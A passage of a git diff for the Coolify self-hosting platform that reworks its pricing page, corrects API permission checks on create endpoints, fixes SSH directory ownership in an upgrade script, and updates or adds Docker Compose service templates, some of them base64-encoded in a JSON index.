-
- Payment frequency
-
-
- Monthly
-
-
-
- Annually (save ~20%)
-
-
+
+ {{-- Frequency Toggle --}}
+
+
+ Payment frequency
+
+
+ Monthly
+
+
+
+ Annually (save ~20%)
+
+
+
+
+
+ {{-- Plan Header + Pricing --}}
+
Pay-as-you-go
+
Dynamic pricing based on the number of servers you connect.
+
+
+
+ $5
+ / mo base
+
+
+ $4
+ / mo base
+
-
-
-
-
Pay-as-you-go
-
- Dynamic pricing based on the number of servers you connect.
-
-
-
- $5
- base price
-
+
+
+ + $3 per additional server, billed monthly (+VAT)
+
+
+ + $2.7 per additional server, billed annually (+VAT)
+
+
-
- $4
- base price
-
-
-
-
- $3
- per additional servers billed monthly (+VAT)
-
+ {{-- Subscribe Button --}}
+
+
+ Subscribe
+
+
+ Subscribe
+
+
-
- $2.7
- per additional servers billed annually (+VAT)
-
-
-
-
-
-
-
+ {{-- Features --}}
+
+
+
+
+
+
+ Connect unlimited servers
+
+
+
+
+
+ Deploy unlimited applications per server
+
+
+
+
+
+ Free email notifications
+
+
+
+
+
+ Support by email
+
+
+
+
+
+
+ + All Upcoming Features
+
+
+
-
-
- You need to bring your own servers from any cloud provider (such as
Hetzner , DigitalOcean, AWS,
- etc.)
-
-
-
-
-
-
- Subscribe
-
-
- Subscribe
-
-
-
-
-
-
-
- Connect
- unlimited servers
-
-
-
-
-
- Deploy
- unlimited applications per server
-
-
-
-
-
- Free email notifications
-
-
-
-
-
- Support by email
-
-
-
-
-
-
-
-
- + All Upcoming Features
-
-
-
-
-
-
-
-
- Do you require official support for your self-hosted instance?Contact Us
-
-
-
-
+ {{-- BYOS Notice + Support --}}
+
+
You need to bring your own servers from any cloud provider (Hetzner , DigitalOcean, AWS, etc.) or connect any device running a supported OS .
+
Need official support for your self-hosted instance? Contact Us
diff --git a/resources/views/livewire/subscription/show.blade.php b/resources/views/livewire/subscription/show.blade.php
index 2fb4b1191..955beb33f 100644
--- a/resources/views/livewire/subscription/show.blade.php
+++ b/resources/views/livewire/subscription/show.blade.php
@@ -3,6 +3,6 @@
Subscription | Coolify
Subscription
-
Here you can see and manage your subscription.
+
Manage your plan, billing, and server limits.
diff --git a/routes/api.php b/routes/api.php
index 56f984245..ffa4b29b9 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -55,7 +55,7 @@
Route::post('/projects/{uuid}/environments', [ProjectController::class, 'create_environment'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}/environments/{environment_name_or_uuid}', [ProjectController::class, 'delete_environment'])->middleware(['api.ability:write']);
- Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:read']);
+ Route::post('/projects', [ProjectController::class, 'create_project'])->middleware(['api.ability:write']);
Route::patch('/projects/{uuid}', [ProjectController::class, 'update_project'])->middleware(['api.ability:write']);
Route::delete('/projects/{uuid}', [ProjectController::class, 'delete_project'])->middleware(['api.ability:write']);
@@ -86,7 +86,7 @@
Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']);
- Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:read']);
+ Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']);
Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']);
Route::delete('/servers/{uuid}', [ServersController::class, 'delete_server'])->middleware(['api.ability:write']);
diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh
index 648849d5c..f32db9b8d 100644
--- a/scripts/upgrade.sh
+++ b/scripts/upgrade.sh
@@ -141,6 +141,15 @@ else
log "Network 'coolify' already exists"
fi
+# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621)
+# Only changes owner — preserves existing group to respect custom setups
+SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown")
+if [ "$SSH_OWNER" != "9999" ]; then
+ log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)"
+ chown -R 9999 /data/coolify/ssh
+ chmod -R 700 /data/coolify/ssh
+fi
+
# Check if Docker config file exists
DOCKER_CONFIG_MOUNT=""
if [ -f /root/.docker/config.json ]; then
diff --git a/svgs/cells.svg b/svgs/cells.svg
new file mode 100644
index 000000000..f82e53ec7
--- /dev/null
+++ b/svgs/cells.svg
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+
+
+
+
diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml
index a318f4702..5d0b4fecc 100644
--- a/templates/compose/beszel-agent.yaml
+++ b/templates/compose/beszel-agent.yaml
@@ -6,13 +6,26 @@
services:
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=${HUB_URL?}
- - 'TOKEN=${TOKEN?}'
- - 'KEY=${KEY?}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml
index cba11e4bb..bc68c1825 100644
--- a/templates/compose/beszel.yaml
+++ b/templates/compose/beszel.yaml
@@ -9,21 +9,41 @@
# Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
services:
beszel:
- image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
environment:
- SERVICE_URL_BESZEL_8090
+ - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
+ - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false}
volumes:
- 'beszel_data:/beszel_data'
- 'beszel_socket:/beszel_socket'
+ healthcheck:
+ test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090']
+ interval: 30s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
beszel-agent:
- image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025
+ image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+ network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
environment:
+ # Required
- LISTEN=/beszel_socket/beszel.sock
- - HUB_URL=http://beszel:8090
- - 'TOKEN=${TOKEN}'
- - 'KEY=${KEY}'
+ - HUB_URL=$SERVICE_URL_BESZEL
+ - TOKEN=${TOKEN} # From hub token settings
+ - KEY=${KEY} # SSH public key(s) from hub
+ # Optional
+ - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH
+ - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level
+ - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring
+ - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name
volumes:
- beszel_agent_data:/var/lib/beszel-agent
- beszel_socket:/beszel_socket
- '/var/run/docker.sock:/var/run/docker.sock:ro'
-
+ healthcheck:
+ test: ['CMD', '/agent', 'health']
+ interval: 60s
+ timeout: 20s
+ retries: 10
+ start_period: 5s
\ No newline at end of file
diff --git a/templates/compose/cloudreve.yaml b/templates/compose/cloudreve.yaml
index 39ea8181f..88a2d2109 100644
--- a/templates/compose/cloudreve.yaml
+++ b/templates/compose/cloudreve.yaml
@@ -38,7 +38,7 @@ services:
- POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}
- POSTGRES_DB=${POSTGRES_DB:-cloudreve-db}
volumes:
- - postgres-data:/var/lib/postgresql/data
+ - postgres-data:/var/lib/postgresql
healthcheck:
test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
interval: 10s
diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml
index effeeeb4a..b684c5380 100644
--- a/templates/compose/ente-photos.yaml
+++ b/templates/compose/ente-photos.yaml
@@ -16,6 +16,7 @@ services:
- ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002}
- ENTE_APPS_CAST=${SERVICE_URL_WEB_3004}
- ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001}
+ - ENTE_PHOTOS_ORIGIN=${SERVICE_URL_WEB}
- ENTE_DB_HOST=${ENTE_DB_HOST:-postgres}
- ENTE_DB_PORT=${ENTE_DB_PORT:-5432}
diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml
index 89f1692b1..584d50872 100644
--- a/templates/compose/grist.yaml
+++ b/templates/compose/grist.yaml
@@ -3,16 +3,16 @@
# category: productivity
# tags: lowcode, nocode, spreadsheet, database, relational
# logo: svgs/grist.svg
-# port: 443
+# port: 8484
services:
grist:
image: gristlabs/grist:latest
environment:
- - SERVICE_URL_GRIST_443
+ - SERVICE_URL_GRIST_8484
- APP_HOME_URL=${SERVICE_URL_GRIST}
- APP_DOC_URL=${SERVICE_URL_GRIST}
- - GRIST_DOMAIN=${SERVICE_URL_GRIST}
+ - GRIST_DOMAIN=${SERVICE_FQDN_GRIST}
- TZ=${TZ:-UTC}
- GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false}
- GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true}
@@ -20,7 +20,7 @@ services:
- GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix}
- GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials}
- GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist}
- - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com}
+ - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?}
- GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true}
- GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST}
- GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email}
@@ -37,7 +37,7 @@ services:
- TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db}
- TYPEORM_USERNAME=${SERVICE_USER_POSTGRES}
- TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES}
- - TYPEORM_HOST=${TYPEORM_HOST}
+ - TYPEORM_HOST=${TYPEORM_HOST:-postgres}
- TYPEORM_PORT=${TYPEORM_PORT:-5432}
- TYPEORM_LOGGING=${TYPEORM_LOGGING:-false}
- REDIS_URL=${REDIS_URL:-redis://redis:6379}
diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml
index 1143235e5..49a393624 100644
--- a/templates/compose/minio-community-edition.yaml
+++ b/templates/compose/minio-community-edition.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images
# slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs.
# category: storage
diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml
index e03b38960..d2235e479 100644
--- a/templates/compose/n8n-with-postgres-and-worker.yaml
+++ b/templates/compose/n8n-with-postgres-and-worker.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -54,7 +54,7 @@ services:
retries: 10
n8n-worker:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
command: worker
environment:
- GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC}
@@ -122,7 +122,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679}
- N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N
diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml
index 0cf58de18..d7096add2 100644
--- a/templates/compose/n8n-with-postgresql.yaml
+++ b/templates/compose/n8n-with-postgresql.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -47,7 +47,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679}
- N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N
diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml
index d45cf1465..ff5ee90b2 100644
--- a/templates/compose/n8n.yaml
+++ b/templates/compose/n8n.yaml
@@ -7,7 +7,7 @@
services:
n8n:
- image: n8nio/n8n:2.1.5
+ image: n8nio/n8n:2.10.2
environment:
- SERVICE_URL_N8N_5678
- N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -38,7 +38,7 @@ services:
retries: 10
task-runners:
- image: n8nio/runners:2.1.5
+ image: n8nio/runners:2.10.2
environment:
- N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679}
- N8N_RUNNERS_AUTH_TOKEN=${SERVICE_PASSWORD_N8N}
diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index bc2fbd637..346b0c664 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://docs.plane.so/self-hosting/methods/docker-compose
# slogan: The open source project management tool
# category: productivity
diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml
index 9a3f6c779..c86d9d468 100644
--- a/templates/compose/pterodactyl-panel.yaml
+++ b/templates/compose/pterodactyl-panel.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
@@ -102,4 +103,4 @@ services:
- MAIL_PORT=$MAIL_PORT
- MAIL_USERNAME=$MAIL_USERNAME
- MAIL_PASSWORD=$MAIL_PASSWORD
- - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
+ - MAIL_ENCRYPTION=$MAIL_ENCRYPTION
\ No newline at end of file
diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml
index 6e1e3614c..20465a139 100644
--- a/templates/compose/pterodactyl-with-wings.yaml
+++ b/templates/compose/pterodactyl-with-wings.yaml
@@ -1,3 +1,4 @@
+# ignore: true
# documentation: https://pterodactyl.io/
# slogan: Pterodactyl is a free, open-source game server management panel
# category: media
diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml
new file mode 100644
index 000000000..77a24a533
--- /dev/null
+++ b/templates/compose/pydio-cells.yml
@@ -0,0 +1,33 @@
+# documentation: https://docs.pydio.com/
+# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.
+# tags: storage
+# logo: svgs/cells.svg
+# port: 8080
+
+services:
+ cells:
+ image: pydio/cells:4.4
+ environment:
+ - SERVICE_URL_CELLS_8080
+ - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS}
+ - CELLS_SITE_NO_TLS=1
+ volumes:
+ - cells_data:/var/cells
+ mariadb:
+ image: 'mariadb:11'
+ volumes:
+ - mysql_data:/var/lib/mysql
+ environment:
+ - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT}
+ - MYSQL_DATABASE=${MYSQL_DATABASE:-cells}
+ - MYSQL_USER=${SERVICE_USER_MYSQL}
+ - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL}
+ healthcheck:
+ test:
+ - CMD
+ - healthcheck.sh
+ - '--connect'
+ - '--innodb_initialized'
+ interval: 10s
+ timeout: 20s
+ retries: 5
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 832899a70..6c7af5dc5 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -684,7 +684,7 @@
"cloudreve": {
"documentation": "https://docs.cloudreve.org/?utm_source=coolify.io",
"slogan": "A self-hosted file management and sharing system.",
- "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NMT1VEUkVWRV81MjEyCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5UeXBlPXBvc3RncmVzCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Ib3N0PXBvc3RncmVzCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuVXNlcj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnQ1JfQ09ORl9EYXRhYmFzZS5OYW1lPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICAgIC0gQ1JfQ09ORl9EYXRhYmFzZS5Qb3J0PTU0MzIKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5TZXJ2ZXI9cmVkaXM6NjM3OScKICAgICAgLSAnQ1JfQ09ORl9SZWRpcy5QYXNzd29yZD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnY2xvdWRyZXZlLWRhdGE6L2Nsb3VkcmV2ZS9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5jCiAgICAgICAgLSAnLXonCiAgICAgICAgLSBsb2NhbGhvc3QKICAgICAgICAtICc1MjEyJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNsb3VkcmV2ZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LWFscGluZScKICAgIGNvbW1hbmQ6ICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICcke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK",
